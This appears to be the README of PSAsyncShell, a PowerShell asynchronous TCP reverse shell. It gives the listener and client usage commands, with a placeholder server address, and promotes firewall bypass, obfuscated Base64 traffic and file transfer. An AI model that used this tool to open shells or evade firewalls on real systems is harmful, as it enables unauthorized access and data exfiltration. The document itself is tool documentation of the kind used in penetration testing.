PSAsyncShell

----- by @JoelGMSec -----

Info: This tool helps you to get a remote shell over asynchronous TCP to bypass firewalls

Usage: `.\PSAsyncShell.ps1 -s -p listen_port`
Listen for a new connection from the client

`.\PSAsyncShell.ps1 -c server_ip server_port`
Connect the client to a PSAsyncShell server

Warning: All data will be sent unencrypted
Upload function doesn't use MultiPart

PSAsyncShell

PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.

Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.

Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded and obfuscated traffic.

Requirements

- PowerShell 4.0 or greater
